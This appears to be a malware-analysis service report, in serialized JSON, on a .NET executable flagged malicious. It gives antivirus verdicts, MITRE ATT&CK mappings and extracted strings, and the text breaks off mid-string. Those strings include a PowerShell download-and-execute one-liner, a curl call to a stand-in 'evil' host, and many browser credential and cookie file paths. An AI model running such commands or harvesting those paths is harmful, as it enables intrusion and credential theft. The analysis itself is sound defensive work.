"c:\users\x\appdata\roaming\opera software\opera stable\history" in Source: sample.bin, "Software\Microsoft\Office\16.0\Word\Place MRU" in Source: sample.bin, "C:\U\AppData\Roaming\Opera Software\Opera Stable\Tabs_13434542487011585" in Source: sample.bin, "c:\users\x\appdata\local\bravesoftware\brave-browser\user data\default\history" in Source: sample.bin2f:T71a,Found string "DPAPI Service: Cannot parse system secrets." (Indicator: "secret"; Source: "sample.bin"), file/memory contains long string with (Indicator: "password"; Source: "sample.bin"), Found string "wrong-password" (Indicator: "password"; Source: "sample.bin"), Found string "registry entries: secret.docx finance.xlsx " (Indicator: "secret"; Source: "sample.bin"), Found string "secret" (Indicator: "secret"; Source: "sample.bin"), Found string "secret.txt" (Indicator: "secret"; Source: "sample.bin"), Found string "password dump" (Indicator: "password"; Source: "sample.bin"), Found string "not-the-password" (Indicator: "password"; Source: "sample.bin"), Found string "fixture TryDecrypt with extracted secret" (Indicator: "secret"; Source: "sample.bin"), Found string "top secret" (Indicator: "secret"; Source: "sample.bin"), Found string "password" (Indicator: "password"; Source: "sample.bin"), Found string "CREATE TABLE accounts (_id INTEGER PRIMARY KEY, name TEXT, type TEXT, previous_name TEXT, last_password_entry_time_millis_epoch INTEGER);CREATE TABLE authtokens (_id INTEGER PRIMARY KEY, accounts_id INTEGER, type TEXT, authtoken TEXT);" (Indicator: "password"; Source: "sample.bin"), Found string "{"logins":[{"id":1,"hostname":"https://site.example","usernameField":"uname","passwordField":"pword", "timeCreated":1699999000000,"encryptedUsername":"MDIEEPgAAAAAAAAA"}]}" (Indicator: "password"; Source: "sample.bin"), Found string "secret1234" (Indicator: "secret"; Source: "sample.bin"), Found string " password " (Indicator: "password"; Source: "sample.bin"), Found string "secret.pgp" (Indicator: "secret"; Source: "sample.bin"), Found string "secret.docx" (Indicator: "secret"; Source: "sample.bin"), Found string "HomeDomain::Library/secrets.db" (Indicator: "secret"; Source: "sample.bin")30:T8fa,"E:\EV\yandex\yandexbrowser\User Data\Default\History" (Indicator: "yandex\yandexbrowser\user data") in Source: sample.bin, "C:\U\AppData\Local\Google\Chrome\User Data\Default\Favicons" (Indicator: "google\chrome\user data") in Source: sample.bin, "C:\U\AppData\Roaming\Mozilla\Firefox\Profiles\x.default\sessionstore-backups\recovery.jsonlz4" (Indicator: "mozilla\firefox\") in Source: sample.bin, "c:\u\google\chrome\user data\default\web data" (Indicator: "google\chrome\user data") in Source: sample.bin, "c:\u\microsoft\edge\user data\default\readinglist\000003.log" (Indicator: "microsoft\edge\user data") in Source: sample.bin, "c:\u\google\chrome\user data\default\safe browsing network\safe browsing cookies" (Indicator: "google\chrome\user data") in Source: sample.bin, "C:\U\AppData\Local\Chromium\User Data\Default\Cookies" (Indicator: "chromium\user data") in Source: sample.bin, "c:\u\appdata\roaming\tencent\qqbrowser\user data\default\history" (Indicator: "tencent\qqbrowser\user data") in Source: sample.bin, "C:\U\AppData\Roaming\Mozilla\Firefox\Profiles\x.default\extensions.json" (Indicator: "mozilla\firefox\") in Source: sample.bin, "c:\u\google\chrome\user data\default\extensions\abc\1.0_0\manifest.json" (Indicator: "google\chrome\user data") in Source: sample.bin, "c:\users\x\appdata\local\google\chrome\user data\default\history" (Indicator: "google\chrome\user data") in Source: sample.bin, "C:\U\AppData\Local\360Chrome\Chrome\User Data\Default\Web Data" (Indicator: "360chrome\chrome\user data") in Source: sample.bin, "HKCU\Software\Microsoft\Internet Explorer\TypedURLs" (Indicator: "microsoft\internet explorer\typedurls") in Source: sample.bin, "c:\u\microsoft\edge\user data\default\login data" (Indicator: "microsoft\edge\user data") in Source: sample.bin, "c:\users\x\appdata\local\vivaldi\user data\default\history" (Indicator: "vivaldi\user data") in Source: sample.bin, "c:\u\microsoft\edge\user data\local state" (Indicator: "microsoft\edge\user data") in Source: sample.bin, "C:\U\AppData\Local\Google\Chrome\User Data\Default\Shortcuts" (Indicator: "google\chrome\user data") in Source: sample.bin, "c:\users\x\appdata\local\bravesoftware\brave-browser\user data\default\history" (Indicator: "bravesoftware\brave-browser\user data") in Source: sample.bin1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"NOT_AVAILABLE","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793288103329,"unified_at":"2026-10-29T15:35:03.329Z","metadata":{"hashes":{"sha256":"401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","sha1":"3e998d65c8c976e52f973cd54b376d78cc9933f1","md5":"d924da1f287785f7356da6313a631e0f"},"file_info":{"file_name":"401d18bc0d0ea92e4cf158c987f80b3392e9f588426a01387dcd320c9abc3a29","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":2255360,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793288095000,"last_seen":1793288096000,"last_multi_scan":1793288096000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":38},"sandbox_signatures":{"informative_count":40,"suspicious_count":9,"malicious_count":1,"total":50},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.WPDownloader-9939915-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/MSIL.Agent.pl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_reference_anti_VM_strings_targeting_VirtualBox","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Capa_reference_anti_VM_strings_targeting_VirtualBox","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Able to use cURL command for network data transfer"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using web history"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"suspicious","value":"Identified FTP credentials location strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Possibly contains Public/Private key (encryption)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Found system command-related strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Resource Development","technique":"Email Accounts","attack_id":"T1585.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1585/002","identifiers":[{"type":"informative","value":"Found email domains (string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Lateral Movement","technique":"Cloud Services","attack_id":"T1021.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/007","identifiers":[{"type":"informative","value":"Able to connect to a cloud service"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Cloud Service Dashboard","attack_id":"T1538","attack_id_wiki":"https://attack.mitre.org/techniques/T1538","identifiers":[{"type":"informative","value":"Able to retrieve cloud service dashboard"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"},{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"suspicious","value":"Able to retrieve saved login credentials from browser"},{"type":"informative","value":"References Chromium browser credentials files"},{"type":"informative","value":"References Firefox browser credentials files"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","identifiers":[{"type":"suspicious","value":"Able to retrieve browser history information"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Found browser information locations related strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Able to identify known system hardware ID (HWID)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match - Embedded PDF document"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Hidden File System","attack_id":"T1564.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/005","identifiers":[{"type":"malicious","value":"Contains virtual file system log filepaths used by malware"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"suspicious","value":"Able to use RSA keys for encryption and decryption"}],"sources":[{"report_type":"qsp","report_id":""}]}],"sandbox_signatures":[{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Embedded PDF document","description":"YARA signature for embedded PDF matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.009","id":"yara-33","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$27","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$28","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$29","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"https://drive.google.com/file/d/1XyZ0987/view\" (Indicator: \"drive.google.com\"; Source: \"sample.bin\"), Found string \"https://cdn.discordapp.com/attachments/222/1/a.png\" (Indicator: \"cdn.discordapp.com\"; Source: \"sample.bin\"), Found string \"https://docs.google.com/document/d/1ABC/edit?usp=sharing\" (Indicator: \"docs.google.com\"; Source: \"sample.bin\"), Found string \"https://docs.google.com/document/d/1AbCdEfGh/edit\" (Indicator: \"docs.google.com\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1102","id":"string-186","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found email domains (string)","description":"$2a","origin":"sample.bin","mitre_attack_id":"T1585.002","id":"string-235","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to retrieve cloud service dashboard","description":"file/memory contains long string(Source: \"sample.bin\"), Found string \"ConsoleLogin\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1538","id":"string-777","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to use cURL command for network data transfer","description":"Found string \"@echo off\ncurl http://evil\n\" (Indicator: \"curl \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-5074","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"smtp.corp.example\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-169","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains reference to Mail transfer protocol","description":"Found string \"smtp.corp.example\" (Indicator: \"smtp\"; Source: \"sample.bin\"), Found string \"SMTP Server\" (Indicator: \"smtp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-499","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve TCP/IP network configuration","description":"Found string \"ipconfig /all\" (Indicator: \"ipconfig \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1016","id":"string-325","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"GET http://www.example.com/index.html HTTP/1.1\nid=11010519491231002X\n\" (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-457","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$2b","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$2c","origin":"sample.bin","mitre_attack_id":"T1213","id":"string-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"alice@example.com\", Pattern match: \"carol@example.com\", Pattern match: \"zhangsan@icloud.com\", Pattern match: \"johndoe@gmail.com\", Pattern match: \"dev@example.com\", Pattern match: \"bob@hotmail.com\", Pattern match: \"jane@corp.io\", Pattern match: \"system_tombstone@1783999396473.txt.gz\", Pattern match: \"system_tombstone@0.txt\", Pattern match: \"user1@x.com\", Pattern match: \"system_tombstone@1783999396473.txt\", Pattern match: \"bot@example.com\", Pattern match: \"bob@example.com\", Pattern match: \"zhangsan@example.com\", Pattern match: \"m1@example.com\", Pattern match: \"dave@example.com\", Pattern match: \"alice@example.net\", Pattern match: \"power.batterystats@1.zip\", Pattern match: \"carol@x.com\", Pattern match: \"evt-2024-001@example.com\", Pattern match: \"local@icloud.example\"","origin":"sample.bin","mitre_attack_id":"T1114","id":"string-63","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"$2d","origin":"sample.bin","id":"string-10","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2e","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Possibly checks for the presence of an Antivirus engine","description":"\"McAfee Logs\" (Indicator: \"mcafee\") in Source: sample.bin, \"antimalware\" (Indicator: \"antimalware\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1518.001","id":"string-8","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https://cdn.discordapp.com/attachments/222/1/a.png\" (Indicator: \"discordapp.com\")","origin":"sample.bin","id":"string-135","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"\"OutlookStore|x.ost\" (Indicator: \".ost\") in Source: sample.bin, \"AppData/Local/Microsoft/Outlook/outlook.pst\" (Indicator: \".pst\") in Source: sample.bin, \"AppData/Local/Microsoft/Outlook/x.ost\" (Indicator: \".ost\") in Source: sample.bin, \"outlook.pst\" (Indicator: \".pst\") in Source: sample.bin, \"user@corp.ost\" (Indicator: \".ost\") in Source: sample.bin, \".pst\" (Indicator: \".pst\") in Source: sample.bin, \"OutlookStore|outlook.pst\" (Indicator: \".pst\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1114.001","id":"string-179","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"{\n \"Channel\": \"Application\",\n \"EventID\": 1,\n \"Provider_Name\": \"PowerShell\",\n \"CommandLine\": \"powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x')\"\n}\" (Indicator: \"Invoke-Expression\"; Source: \"sample.bin\"), Found string \"CommandLine=powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x'); Subject=alert\" (Indicator: \"Invoke-Expression\"; Source: \"sample.bin\"), Found string \"IEX (New-Object Net.WebClient)\" (Indicator: \"Invoke-Expression\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-288","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"{\n \"Channel\": \"Application\",\n \"EventID\": 1,\n \"Provider_Name\": \"PowerShell\",\n \"CommandLine\": \"powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x')\"\n}\" (Indicator: \"New-Object\"; Source: \"sample.bin\"), Found string \"CommandLine=powershell -c IEX (New-Object Net.WebClient).DownloadString('http://x'); Subject=alert\" (Indicator: \"New-Object\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"New-Object\"; Source: \"sample.bin\"), Found string \"IEX (New-Object Net.WebClient)\" (Indicator: \"New-Object\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"Local State\"; Source: \"sample.bin\"), Found reference to API (Indicator: \"DisplayVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"Observed system executable string:\"\\VOLUME{01}\\WINDOWS\\SYSTEM32\\KERNEL32.DLL\" [Source: sample.bin], Observed system executable string:\"\\VOLUME{01}\\WINDOWS\\SYSTEM32\\NTDLL.DLL\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-625","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"-c \"import py7zr; z = 